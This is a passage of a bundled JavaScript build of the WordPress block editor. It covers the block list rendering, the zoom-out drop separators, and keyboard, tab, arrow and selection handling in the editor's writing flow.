37873 isVisible = hasTopInsertionPoint || blockInsertionPointVisible && blockInsertionPoint.index === 0 && clientId === sectionClientIds[blockInsertionPoint.index];
37874 }
37875 if (position === "bottom") {
37876 isVisible = hasBottomInsertionPoint || blockInsertionPointVisible && clientId === sectionClientIds[blockInsertionPoint.index - 1];
37877 }
37878 const blockBeingDraggedClientId = blocksBeingDragged[0];
37879 const isCurrentBlockBeingDragged = blocksBeingDragged.includes(clientId);
37880 const blockBeingDraggedIndex = sectionClientIds.indexOf(
37881 blockBeingDraggedClientId
37882 );
37883 const blockBeingDraggedPreviousSiblingClientId = blockBeingDraggedIndex > 0 ? sectionClientIds[blockBeingDraggedIndex - 1] : null;
37884 const isCurrentBlockPreviousSiblingOfBlockBeingDragged = blockBeingDraggedPreviousSiblingClientId === clientId;
37885 if (isCurrentBlockBeingDragged || isCurrentBlockPreviousSiblingOfBlockBeingDragged) {
37886 isVisible = false;
37887 }
37888 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { children: isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37889 external_wp_components_namespaceObject.__unstableMotion.div,
37890 {
37891 initial: { height: 0 },
37892 animate: {
37893 // Use a height equal to that of the zoom out frame size.
37894 height: "calc(1 * var(--wp-block-editor-iframe-zoom-out-frame-size) / var(--wp-block-editor-iframe-zoom-out-scale)"
37895 },
37896 exit: { height: 0 },
37897 transition: {
37898 type: "tween",
37899 duration: isReducedMotion ? 0 : 0.2,
37900 ease: [0.6, 0, 0.4, 1]
37901 },
37902 className: dist_clsx(
37903 "block-editor-block-list__zoom-out-separator",
37904 {
37905 "is-dragged-over": isDraggedOver
37906 }
37907 ),
37908 "data-is-insertion-point": "true",
37909 onDragOver: () => setIsDraggedOver(true),
37910 onDragLeave: () => setIsDraggedOver(false),
37911 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37912 external_wp_components_namespaceObject.__unstableMotion.div,
37913 {
37914 initial: { opacity: 0 },
37915 animate: { opacity: 1 },
37916 exit: { opacity: 0, transition: { delay: -0.125 } },
37917 transition: {
37918 ease: "linear",
37919 duration: 0.1,
37920 delay: 0.125
37921 },
37922 children: (0,external_wp_i18n_namespaceObject.__)("Drop pattern.")
37923 }
37924 )
37925 }
37926 ) });
37927}
37928
37929
37930;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/index.js
37931
37932
37933
37934
37935
37936
37937
37938
37939
37940
37941
37942
37943
37944
37945
37946
37947
37948const block_list_IntersectionObserver = (0,external_wp_element_namespaceObject.createContext)();
37949block_list_IntersectionObserver.displayName = "IntersectionObserverContext";
37950const pendingBlockVisibilityUpdatesPerRegistry = /* @__PURE__ */ new WeakMap();
37951const delayedBlockVisibilityDebounceOptions = {
37952 trailing: true
37953};
37954function Root({ className, ...settings }) {
37955 const { isOutlineMode, isFocusMode, temporarilyEditingAsBlocks } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
37956 const {
37957 getSettings,
37958 getTemporarilyEditingAsBlocks,
37959 isTyping,
37960 hasBlockSpotlight
37961 } = unlock(select(store));
37962 const { outlineMode, focusMode } = getSettings();
37963 return {
37964 isOutlineMode: outlineMode && !isTyping(),
37965 isFocusMode: focusMode || hasBlockSpotlight(),
37966 temporarilyEditingAsBlocks: getTemporarilyEditingAsBlocks()
37967 };
37968 }, []);
37969 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
37970 const { setBlockVisibility } = (0,external_wp_data_namespaceObject.useDispatch)(store);
37971 const delayedBlockVisibilityUpdates = (0,external_wp_compose_namespaceObject.useDebounce)(
37972 (0,external_wp_element_namespaceObject.useCallback)(() => {
37973 const updates = {};
37974 pendingBlockVisibilityUpdatesPerRegistry.get(registry).forEach(([id, isIntersecting]) => {
37975 updates[id] = isIntersecting;
37976 });
37977 setBlockVisibility(updates);
37978 }, [registry]),
37979 300,
37980 delayedBlockVisibilityDebounceOptions
37981 );
37982 const intersectionObserver = (0,external_wp_element_namespaceObject.useMemo)(() => {
37983 const { IntersectionObserver: Observer } = window;
37984 if (!Observer) {
37985 return;
37986 }
37987 return new Observer((entries) => {
37988 if (!pendingBlockVisibilityUpdatesPerRegistry.get(registry)) {
37989 pendingBlockVisibilityUpdatesPerRegistry.set(registry, []);
37990 }
37991 for (const entry of entries) {
37992 const clientId = entry.target.getAttribute("data-block");
37993 pendingBlockVisibilityUpdatesPerRegistry.get(registry).push([clientId, entry.isIntersecting]);
37994 }
37995 delayedBlockVisibilityUpdates();
37996 });
37997 }, []);
37998 const innerBlocksProps = useInnerBlocksProps(
37999 {
38000 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([
38001 useBlockSelectionClearer(),
38002 useInBetweenInserter(),
38003 useTypingObserver()
38004 ]),
38005 className: dist_clsx("is-root-container", className, {
38006 "is-outline-mode": isOutlineMode,
38007 "is-focus-mode": isFocusMode
38008 })
38009 },
38010 settings
38011 );
38012 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(block_list_IntersectionObserver.Provider, { value: intersectionObserver, children: [
38013 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }),
38014 !!temporarilyEditingAsBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38015 StopEditingAsBlocksOnOutsideSelect,
38016 {
38017 clientId: temporarilyEditingAsBlocks
38018 }
38019 )
38020 ] });
38021}
38022function StopEditingAsBlocksOnOutsideSelect({ clientId }) {
38023 const { stopEditingAsBlocks } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
38024 const isBlockOrDescendantSelected = (0,external_wp_data_namespaceObject.useSelect)(
38025 (select) => {
38026 const { isBlockSelected, hasSelectedInnerBlock } = select(store);
38027 return isBlockSelected(clientId) || hasSelectedInnerBlock(clientId, true);
38028 },
38029 [clientId]
38030 );
38031 (0,external_wp_element_namespaceObject.useEffect)(() => {
38032 if (!isBlockOrDescendantSelected) {
38033 stopEditingAsBlocks(clientId);
38034 }
38035 }, [isBlockOrDescendantSelected, clientId, stopEditingAsBlocks]);
38036 return null;
38037}
38038function BlockList(settings) {
38039 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, { value: DEFAULT_BLOCK_EDIT_CONTEXT, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Root, { ...settings }) });
38040}
38041const block_list_EMPTY_ARRAY = [];
38042const block_list_EMPTY_SET = /* @__PURE__ */ new Set();
38043function Items({
38044 placeholder,
38045 rootClientId,
38046 renderAppender: CustomAppender,
38047 __experimentalAppenderTagName,
38048 layout = defaultLayout
38049}) {
38050 const hasAppender = CustomAppender !== false;
38051 const hasCustomAppender = !!CustomAppender;
38052 const {
38053 order,
38054 isZoomOut,
38055 selectedBlocks,
38056 visibleBlocks,
38057 shouldRenderAppender
38058 } = (0,external_wp_data_namespaceObject.useSelect)(
38059 (select) => {
38060 const {
38061 getSettings,
38062 getBlockOrder,
38063 getSelectedBlockClientIds,
38064 __unstableGetVisibleBlocks,
38065 getTemplateLock,
38066 getBlockEditingMode,
38067 isSectionBlock,
38068 isContainerInsertableToInContentOnlyMode,
38069 getBlockName,
38070 isZoomOut: _isZoomOut,
38071 canInsertBlockType
38072 } = unlock(select(store));
38073 const _order = getBlockOrder(rootClientId);
38074 if (getSettings().isPreviewMode) {
38075 return {
38076 order: _order,
38077 selectedBlocks: block_list_EMPTY_ARRAY,
38078 visibleBlocks: block_list_EMPTY_SET
38079 };
38080 }
38081 const selectedBlockClientIds = getSelectedBlockClientIds();
38082 const selectedBlockClientId = selectedBlockClientIds[0];
38083 const showRootAppender = !rootClientId && !selectedBlockClientId && (!_order.length || !canInsertBlockType(
38084 (0,external_wp_blocks_namespaceObject.getDefaultBlockName)(),
38085 rootClientId
38086 ));
38087 const hasSelectedRoot = !!(rootClientId && selectedBlockClientId && rootClientId === selectedBlockClientId);
38088 return {
38089 order: _order,
38090 selectedBlocks: selectedBlockClientIds,
38091 visibleBlocks: __unstableGetVisibleBlocks(),
38092 isZoomOut: _isZoomOut(),
38093 shouldRenderAppender: (!isSectionBlock(rootClientId) || isContainerInsertableToInContentOnlyMode(
38094 getBlockName(selectedBlockClientId),
38095 rootClientId
38096 )) && getBlockEditingMode(rootClientId) !== "disabled" && !getTemplateLock(rootClientId) && hasAppender && !_isZoomOut() && (hasCustomAppender || hasSelectedRoot || showRootAppender)
38097 };
38098 },
38099 [rootClientId, hasAppender, hasCustomAppender]
38100 );
38101 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(LayoutProvider, { value: layout, children: [
38102 order.map((clientId) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
38103 external_wp_data_namespaceObject.AsyncModeProvider,
38104 {
38105 value: (
38106 // Only provide data asynchronously if the block is
38107 // not visible and not selected.
38108 !visibleBlocks.has(clientId) && !selectedBlocks.includes(clientId)
38109 ),
38110 children: [
38111 isZoomOut && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38112 ZoomOutSeparator,
38113 {
38114 clientId,
38115 rootClientId,
38116 position: "top"
38117 }
38118 ),
38119 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38120 block_default,
38121 {
38122 rootClientId,
38123 clientId
38124 }
38125 ),
38126 isZoomOut && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38127 ZoomOutSeparator,
38128 {
38129 clientId,
38130 rootClientId,
38131 position: "bottom"
38132 }
38133 )
38134 ]
38135 },
38136 clientId
38137 )),
38138 order.length < 1 && placeholder,
38139 shouldRenderAppender && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38140 BlockListAppender,
38141 {
38142 tagName: __experimentalAppenderTagName,
38143 rootClientId,
38144 CustomAppender
38145 }
38146 )
38147 ] });
38148}
38149function BlockListItems(props) {
38150 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_data_namespaceObject.AsyncModeProvider, { value: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Items, { ...props }) });
38151}
38152
38153
38154;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-multi-selection.js
38155
38156
38157
38158function selector(select) {
38159 const {
38160 isMultiSelecting,
38161 getMultiSelectedBlockClientIds,
38162 hasMultiSelection,
38163 getSelectedBlockClientId,
38164 getSelectedBlocksInitialCaretPosition,
38165 __unstableIsFullySelected
38166 } = select(store);
38167 return {
38168 isMultiSelecting: isMultiSelecting(),
38169 multiSelectedBlockClientIds: getMultiSelectedBlockClientIds(),
38170 hasMultiSelection: hasMultiSelection(),
38171 selectedBlockClientId: getSelectedBlockClientId(),
38172 initialPosition: getSelectedBlocksInitialCaretPosition(),
38173 isFullSelection: __unstableIsFullySelected()
38174 };
38175}
38176function useMultiSelection() {
38177 const {
38178 initialPosition,
38179 isMultiSelecting,
38180 multiSelectedBlockClientIds,
38181 hasMultiSelection,
38182 selectedBlockClientId,
38183 isFullSelection
38184 } = (0,external_wp_data_namespaceObject.useSelect)(selector, []);
38185 return (0,external_wp_compose_namespaceObject.useRefEffect)(
38186 (node) => {
38187 const { ownerDocument } = node;
38188 const { defaultView } = ownerDocument;
38189 if (initialPosition === void 0 || initialPosition === null) {
38190 return;
38191 }
38192 if (!hasMultiSelection || isMultiSelecting) {
38193 return;
38194 }
38195 const { length } = multiSelectedBlockClientIds;
38196 if (length < 2) {
38197 return;
38198 }
38199 if (!isFullSelection) {
38200 return;
38201 }
38202 node.contentEditable = true;
38203 node.focus();
38204 defaultView.getSelection().removeAllRanges();
38205 },
38206 [
38207 hasMultiSelection,
38208 isMultiSelecting,
38209 multiSelectedBlockClientIds,
38210 selectedBlockClientId,
38211 initialPosition,
38212 isFullSelection
38213 ]
38214 );
38215}
38216
38217
38218;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-tab-nav.js
38219
38220
38221
38222
38223
38224
38225
38226
38227
38228function useTabNav() {
38229 const containerRef = (
38230 /** @type {typeof useRef<HTMLElement>} */
38231 (0,external_wp_element_namespaceObject.useRef)()
38232 );
38233 const focusCaptureBeforeRef = (0,external_wp_element_namespaceObject.useRef)();
38234 const focusCaptureAfterRef = (0,external_wp_element_namespaceObject.useRef)();
38235 const {
38236 hasMultiSelection,
38237 getSelectedBlockClientId,
38238 getBlockCount,
38239 getBlockOrder,
38240 getLastFocus,
38241 getSectionRootClientId,
38242 isZoomOut
38243 } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
38244 const { setLastFocus } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
38245 const noCaptureRef = (0,external_wp_element_namespaceObject.useRef)();
38246 function onFocusCapture(event) {
38247 const canvasElement = containerRef.current.ownerDocument === event.target.ownerDocument ? containerRef.current : containerRef.current.ownerDocument.defaultView.frameElement;
38248 if (noCaptureRef.current) {
38249 noCaptureRef.current = null;
38250 } else if (hasMultiSelection()) {
38251 containerRef.current.focus();
38252 } else if (getSelectedBlockClientId()) {
38253 if (getLastFocus()?.current) {
38254 getLastFocus().current.focus();
38255 } else {
38256 containerRef.current.querySelector(
38257 `[data-block="${getSelectedBlockClientId()}"]`
38258 ).focus();
38259 }
38260 } else if (isZoomOut()) {
38261 const sectionRootClientId = getSectionRootClientId();
38262 const sectionBlocks = getBlockOrder(sectionRootClientId);
38263 if (sectionBlocks.length) {
38264 containerRef.current.querySelector(`[data-block="${sectionBlocks[0]}"]`).focus();
38265 } else if (sectionRootClientId) {
38266 containerRef.current.querySelector(`[data-block="${sectionRootClientId}"]`).focus();
38267 } else {
38268 canvasElement.focus();
38269 }
38270 } else {
38271 const isBefore = (
38272 // eslint-disable-next-line no-bitwise
38273 event.target.compareDocumentPosition(canvasElement) & event.target.DOCUMENT_POSITION_FOLLOWING
38274 );
38275 const tabbables = external_wp_dom_namespaceObject.focus.tabbable.find(containerRef.current);
38276 if (tabbables.length) {
38277 const next = isBefore ? tabbables[0] : tabbables[tabbables.length - 1];
38278 next.focus();
38279 }
38280 }
38281 }
38282 const before = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38283 "div",
38284 {
38285 ref: focusCaptureBeforeRef,
38286 tabIndex: "0",
38287 onFocus: onFocusCapture
38288 }
38289 );
38290 const after = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38291 "div",
38292 {
38293 ref: focusCaptureAfterRef,
38294 tabIndex: "0",
38295 onFocus: onFocusCapture
38296 }
38297 );
38298 const ref = (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
38299 function onKeyDown(event) {
38300 if (event.defaultPrevented) {
38301 return;
38302 }
38303 if (event.keyCode !== external_wp_keycodes_namespaceObject.TAB) {
38304 return;
38305 }
38306 if (
38307 // Bails in case the focus capture elements aren’t present. They
38308 // may be omitted to avoid silent tab stops in preview mode.
38309 // See: https://github.com/WordPress/gutenberg/pull/59317
38310 !focusCaptureAfterRef.current || !focusCaptureBeforeRef.current
38311 ) {
38312 return;
38313 }
38314 const { target, shiftKey: isShift } = event;
38315 const direction = isShift ? "findPrevious" : "findNext";
38316 const nextTabbable = external_wp_dom_namespaceObject.focus.tabbable[direction](target);
38317 const currentBlock = target.closest("[data-block]");
38318 const isElementPartOfSelectedBlock = currentBlock && nextTabbable && (isInSameBlock(currentBlock, nextTabbable) || isInsideRootBlock(currentBlock, nextTabbable));
38319 if ((0,external_wp_dom_namespaceObject.isFormElement)(nextTabbable) && isElementPartOfSelectedBlock) {
38320 return;
38321 }
38322 const next = isShift ? focusCaptureBeforeRef : focusCaptureAfterRef;
38323 noCaptureRef.current = true;
38324 next.current.focus({ preventScroll: true });
38325 }
38326 function onFocusOut(event) {
38327 setLastFocus({ ...getLastFocus(), current: event.target });
38328 const { ownerDocument: ownerDocument2 } = node;
38329 if (!event.relatedTarget && event.target.hasAttribute("data-block") && ownerDocument2.activeElement === ownerDocument2.body && getBlockCount() === 0) {
38330 node.focus();
38331 }
38332 }
38333 function preventScrollOnTab(event) {
38334 if (event.keyCode !== external_wp_keycodes_namespaceObject.TAB) {
38335 return;
38336 }
38337 if (event.target?.getAttribute("role") === "region") {
38338 return;
38339 }
38340 if (containerRef.current === event.target) {
38341 return;
38342 }
38343 const isShift = event.shiftKey;
38344 const direction = isShift ? "findPrevious" : "findNext";
38345 const target = external_wp_dom_namespaceObject.focus.tabbable[direction](event.target);
38346 if (target === focusCaptureBeforeRef.current || target === focusCaptureAfterRef.current) {
38347 event.preventDefault();
38348 target.focus({ preventScroll: true });
38349 }
38350 }
38351 const { ownerDocument } = node;
38352 const { defaultView } = ownerDocument;
38353 defaultView.addEventListener("keydown", preventScrollOnTab);
38354 node.addEventListener("keydown", onKeyDown);
38355 node.addEventListener("focusout", onFocusOut);
38356 return () => {
38357 defaultView.removeEventListener("keydown", preventScrollOnTab);
38358 node.removeEventListener("keydown", onKeyDown);
38359 node.removeEventListener("focusout", onFocusOut);
38360 };
38361 }, []);
38362 const mergedRefs = (0,external_wp_compose_namespaceObject.useMergeRefs)([containerRef, ref]);
38363 return [before, mergedRefs, after];
38364}
38365
38366
38367;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-arrow-nav.js
38368
38369
38370
38371
38372
38373
38374function isNavigationCandidate(element, keyCode, hasModifier) {
38375 const isVertical = keyCode === external_wp_keycodes_namespaceObject.UP || keyCode === external_wp_keycodes_namespaceObject.DOWN;
38376 const { tagName } = element;
38377 const elementType = element.getAttribute("type");
38378 if (isVertical && !hasModifier) {
38379 if (tagName === "INPUT") {
38380 const verticalInputTypes = [
38381 "date",
38382 "datetime-local",
38383 "month",
38384 "number",
38385 "range",
38386 "time",
38387 "week"
38388 ];
38389 return !verticalInputTypes.includes(elementType);
38390 }
38391 return true;
38392 }
38393 if (tagName === "INPUT") {
38394 const simpleInputTypes = [
38395 "button",
38396 "checkbox",
38397 "number",
38398 "color",
38399 "file",
38400 "image",
38401 "radio",
38402 "reset",
38403 "submit"
38404 ];
38405 return simpleInputTypes.includes(elementType);
38406 }
38407 return tagName !== "TEXTAREA";
38408}
38409function getClosestTabbable(target, isReverse, containerElement, onlyVertical) {
38410 let focusableNodes = external_wp_dom_namespaceObject.focus.focusable.find(containerElement);
38411 if (isReverse) {
38412 focusableNodes.reverse();
38413 }
38414 focusableNodes = focusableNodes.slice(
38415 focusableNodes.indexOf(target) + 1
38416 );
38417 let targetRect;
38418 if (onlyVertical) {
38419 targetRect = target.getBoundingClientRect();
38420 }
38421 function isTabCandidate(node) {
38422 if (node.closest("[inert]")) {
38423 return;
38424 }
38425 if (node.children.length === 1 && isInSameBlock(node, node.firstElementChild) && node.firstElementChild.getAttribute("contenteditable") === "true") {
38426 return;
38427 }
38428 if (!external_wp_dom_namespaceObject.focus.tabbable.isTabbableIndex(node)) {
38429 return false;
38430 }
38431 if (node.isContentEditable && node.contentEditable !== "true") {
38432 return false;
38433 }
38434 if (onlyVertical) {
38435 const nodeRect = node.getBoundingClientRect();
38436 if (nodeRect.left >= targetRect.right || nodeRect.right <= targetRect.left) {
38437 return false;
38438 }
38439 }
38440 return true;
38441 }
38442 return focusableNodes.find(isTabCandidate);
38443}
38444function useArrowNav() {
38445 const {
38446 getMultiSelectedBlocksStartClientId,
38447 getMultiSelectedBlocksEndClientId,
38448 getSettings,
38449 hasMultiSelection,
38450 __unstableIsFullySelected
38451 } = (0,external_wp_data_namespaceObject.useSelect)(store);
38452 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38453 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
38454 let verticalRect;
38455 function onMouseDown() {
38456 verticalRect = null;
38457 }
38458 function isClosestTabbableABlock(target, isReverse) {
38459 const closestTabbable = getClosestTabbable(
38460 target,
38461 isReverse,
38462 node
38463 );
38464 return closestTabbable && getBlockClientId(closestTabbable);
38465 }
38466 function onKeyDown(event) {
38467 if (event.defaultPrevented) {
38468 return;
38469 }
38470 const { keyCode, target, shiftKey, ctrlKey, altKey, metaKey } = event;
38471 const isUp = keyCode === external_wp_keycodes_namespaceObject.UP;
38472 const isDown = keyCode === external_wp_keycodes_namespaceObject.DOWN;
38473 const isLeft = keyCode === external_wp_keycodes_namespaceObject.LEFT;
38474 const isRight = keyCode === external_wp_keycodes_namespaceObject.RIGHT;
38475 const isReverse = isUp || isLeft;
38476 const isHorizontal = isLeft || isRight;
38477 const isVertical = isUp || isDown;
38478 const isNav = isHorizontal || isVertical;
38479 const hasModifier = shiftKey || ctrlKey || altKey || metaKey;
38480 const isNavEdge = isVertical ? external_wp_dom_namespaceObject.isVerticalEdge : external_wp_dom_namespaceObject.isHorizontalEdge;
38481 const { ownerDocument } = node;
38482 const { defaultView } = ownerDocument;
38483 if (!isNav) {
38484 return;
38485 }
38486 if (hasMultiSelection()) {
38487 if (shiftKey) {
38488 return;
38489 }
38490 if (!__unstableIsFullySelected()) {
38491 return;
38492 }
38493 event.preventDefault();
38494 if (isReverse) {
38495 selectBlock(getMultiSelectedBlocksStartClientId());
38496 } else {
38497 selectBlock(getMultiSelectedBlocksEndClientId(), -1);
38498 }
38499 return;
38500 }
38501 if (!isNavigationCandidate(target, keyCode, hasModifier)) {
38502 return;
38503 }
38504 if (!isVertical) {
38505 verticalRect = null;
38506 } else if (!verticalRect) {
38507 verticalRect = (0,external_wp_dom_namespaceObject.computeCaretRect)(defaultView);
38508 }
38509 const isReverseDir = (0,external_wp_dom_namespaceObject.isRTL)(target) ? !isReverse : isReverse;
38510 const { keepCaretInsideBlock } = getSettings();
38511 if (shiftKey) {
38512 if (isClosestTabbableABlock(target, isReverse) && isNavEdge(target, isReverse)) {
38513 node.contentEditable = true;
38514 node.focus();
38515 }
38516 } else if (isVertical && (0,external_wp_dom_namespaceObject.isVerticalEdge)(target, isReverse) && // When Alt is pressed, only intercept if the caret is also at
38517 // the horizontal edge.
38518 (altKey ? (0,external_wp_dom_namespaceObject.isHorizontalEdge)(target, isReverseDir) : true) && !keepCaretInsideBlock) {
38519 const closestTabbable = getClosestTabbable(
38520 target,
38521 isReverse,
38522 node,
38523 true
38524 );
38525 if (closestTabbable) {
38526 (0,external_wp_dom_namespaceObject.placeCaretAtVerticalEdge)(
38527 closestTabbable,
38528 // When Alt is pressed, place the caret at the furthest
38529 // horizontal edge and the furthest vertical edge.
38530 altKey ? !isReverse : isReverse,
38531 altKey ? void 0 : verticalRect
38532 );
38533 event.preventDefault();
38534 }
38535 } else if (isHorizontal && defaultView.getSelection().isCollapsed && (0,external_wp_dom_namespaceObject.isHorizontalEdge)(target, isReverseDir) && !keepCaretInsideBlock) {
38536 const closestTabbable = getClosestTabbable(
38537 target,
38538 isReverseDir,
38539 node
38540 );
38541 (0,external_wp_dom_namespaceObject.placeCaretAtHorizontalEdge)(closestTabbable, isReverse);
38542 event.preventDefault();
38543 }
38544 }
38545 node.addEventListener("mousedown", onMouseDown);
38546 node.addEventListener("keydown", onKeyDown);
38547 return () => {
38548 node.removeEventListener("mousedown", onMouseDown);
38549 node.removeEventListener("keydown", onKeyDown);
38550 };
38551 }, []);
38552}
38553
38554
38555;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-select-all.js
38556
38557
38558
38559
38560
38561function useSelectAll() {
38562 const { getBlockOrder, getSelectedBlockClientIds, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
38563 const { multiSelect, selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38564 const isMatch = (0,external_wp_keyboardShortcuts_namespaceObject.__unstableUseShortcutEventMatch)();
38565 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
38566 function onKeyDown(event) {
38567 if (!isMatch("core/block-editor/select-all", event)) {
38568 return;
38569 }
38570 const selectedClientIds = getSelectedBlockClientIds();
38571 if (selectedClientIds.length < 2 && !(0,external_wp_dom_namespaceObject.isEntirelySelected)(event.target)) {
38572 return;
38573 }
38574 event.preventDefault();
38575 const [firstSelectedClientId] = selectedClientIds;
38576 const rootClientId = getBlockRootClientId(firstSelectedClientId);
38577 const blockClientIds = getBlockOrder(rootClientId);
38578 if (selectedClientIds.length === blockClientIds.length) {
38579 if (rootClientId) {
38580 node.ownerDocument.defaultView.getSelection().removeAllRanges();
38581 selectBlock(rootClientId);
38582 }
38583 return;
38584 }
38585 multiSelect(
38586 blockClientIds[0],
38587 blockClientIds[blockClientIds.length - 1]
38588 );
38589 }
38590 node.addEventListener("keydown", onKeyDown);
38591 return () => {
38592 node.removeEventListener("keydown", onKeyDown);
38593 };
38594 }, []);
38595}
38596
38597
38598;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-drag-selection.js
38599
38600
38601
38602function setContentEditableWrapper(node, value) {
38603 node.contentEditable = value;
38604 if (value) {
38605 node.focus();
38606 }
38607}
38608function useDragSelection() {
38609 const { startMultiSelect, stopMultiSelect } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38610 const {
38611 isSelectionEnabled,
38612 hasSelectedBlock,
38613 isDraggingBlocks,
38614 isMultiSelecting
38615 } = (0,external_wp_data_namespaceObject.useSelect)(store);
38616 return (0,external_wp_compose_namespaceObject.useRefEffect)(
38617 (node) => {
38618 const { ownerDocument } = node;
38619 const { defaultView } = ownerDocument;
38620 let anchorElement;
38621 let rafId;
38622 function onMouseUp() {
38623 stopMultiSelect();
38624 defaultView.removeEventListener("mouseup", onMouseUp);
38625 rafId = defaultView.requestAnimationFrame(() => {
38626 if (!hasSelectedBlock()) {
38627 return;
38628 }
38629 setContentEditableWrapper(node, false);
38630 const selection = defaultView.getSelection();
38631 if (selection.rangeCount) {
38632 const range = selection.getRangeAt(0);
38633 const { commonAncestorContainer } = range;
38634 const clonedRange = range.cloneRange();
38635 if (anchorElement.contains(commonAncestorContainer)) {
38636 anchorElement.focus();
38637 selection.removeAllRanges();
38638 selection.addRange(clonedRange);
38639 }
38640 }
38641 });
38642 }
38643 let lastMouseDownTarget;
38644 function onMouseDown({ target }) {
38645 lastMouseDownTarget = target;
38646 }
38647 function onMouseLeave({ buttons, target, relatedTarget }) {
38648 if (!target.contains(lastMouseDownTarget)) {
38649 return;
38650 }
38651 if (target.contains(relatedTarget)) {
38652 return;
38653 }
38654 if (isDraggingBlocks()) {
38655 return;
38656 }
38657 if (buttons !== 1) {
38658 return;
38659 }
38660 if (isMultiSelecting()) {
38661 return;
38662 }
38663 if (node === target) {
38664 return;
38665 }
38666 if (target.getAttribute("contenteditable") !== "true") {
38667 return;
38668 }
38669 if (!isSelectionEnabled()) {
38670 return;
38671 }
38672 anchorElement = target;
38673 startMultiSelect();
38674 defaultView.addEventListener("mouseup", onMouseUp);
38675 setContentEditableWrapper(node, true);
38676 }
38677 node.addEventListener("mouseout", onMouseLeave);
38678 node.addEventListener("mousedown", onMouseDown);
38679 return () => {
38680 node.removeEventListener("mouseout", onMouseLeave);
38681 defaultView.removeEventListener("mouseup", onMouseUp);
38682 defaultView.cancelAnimationFrame(rafId);
38683 };
38684 },
38685 [
38686 startMultiSelect,
38687 stopMultiSelect,
38688 isSelectionEnabled,
38689 hasSelectedBlock
38690 ]
38691 );
38692}
38693
38694
38695;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-selection-observer.js
38696
38697
38698
38699
38700
38701
38702function extractSelectionStartNode(selection) {
38703 const { anchorNode, anchorOffset } = selection;
38704 if (anchorNode.nodeType === anchorNode.TEXT_NODE) {
38705 return anchorNode;
38706 }
38707 if (anchorOffset === 0) {
38708 return anchorNode;
38709 }
38710 return anchorNode.childNodes[anchorOffset - 1];
38711}
38712function extractSelectionEndNode(selection) {
38713 const { focusNode, focusOffset } = selection;
38714 if (focusNode.nodeType === focusNode.TEXT_NODE) {
38715 return focusNode;
38716 }
38717 if (focusOffset === focusNode.childNodes.length) {
38718 return focusNode;
38719 }
38720 if (focusOffset === 0 && (0,external_wp_dom_namespaceObject.isSelectionForward)(selection)) {
38721 return focusNode.previousSibling ?? focusNode.parentElement;
38722 }
38723 return focusNode.childNodes[focusOffset];
38724}
38725function findDepth(a, b) {
38726 let depth = 0;
38727 while (a[depth] === b[depth]) {
38728 depth++;
38729 }
38730 return depth;
38731}
38732function use_selection_observer_setContentEditableWrapper(node, value) {
38733 if (node.contentEditable !== String(value)) {
38734 node.contentEditable = value;
38735 if (value) {
38736 node.focus();
38737 }
38738 }
38739}
38740function getRichTextElement(node) {
38741 const element = node.nodeType === node.ELEMENT_NODE ? node : node.parentElement;
38742 return element?.closest("[data-wp-block-attribute-key]");
38743}
38744function useSelectionObserver() {
38745 const { multiSelect, selectBlock, selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38746 const { getBlockParents, getBlockSelectionStart, isMultiSelecting } = (0,external_wp_data_namespaceObject.useSelect)(store);
38747 return (0,external_wp_compose_namespaceObject.useRefEffect)(
38748 (node) => {
38749 const { ownerDocument } = node;
38750 const { defaultView } = ownerDocument;
38751 function onSelectionChange(event) {
38752 const selection = defaultView.getSelection();
38753 if (!selection.rangeCount) {
38754 return;
38755 }
38756 const startNode = extractSelectionStartNode(selection);
38757 const endNode = extractSelectionEndNode(selection);
38758 if (!node.contains(startNode) || !node.contains(endNode)) {
38759 return;
38760 }
38761 const isClickShift = event.shiftKey && event.type === "mouseup";
38762 if (selection.isCollapsed && !isClickShift) {
38763 if (node.contentEditable === "true" && !isMultiSelecting()) {
38764 use_selection_observer_setContentEditableWrapper(node, false);
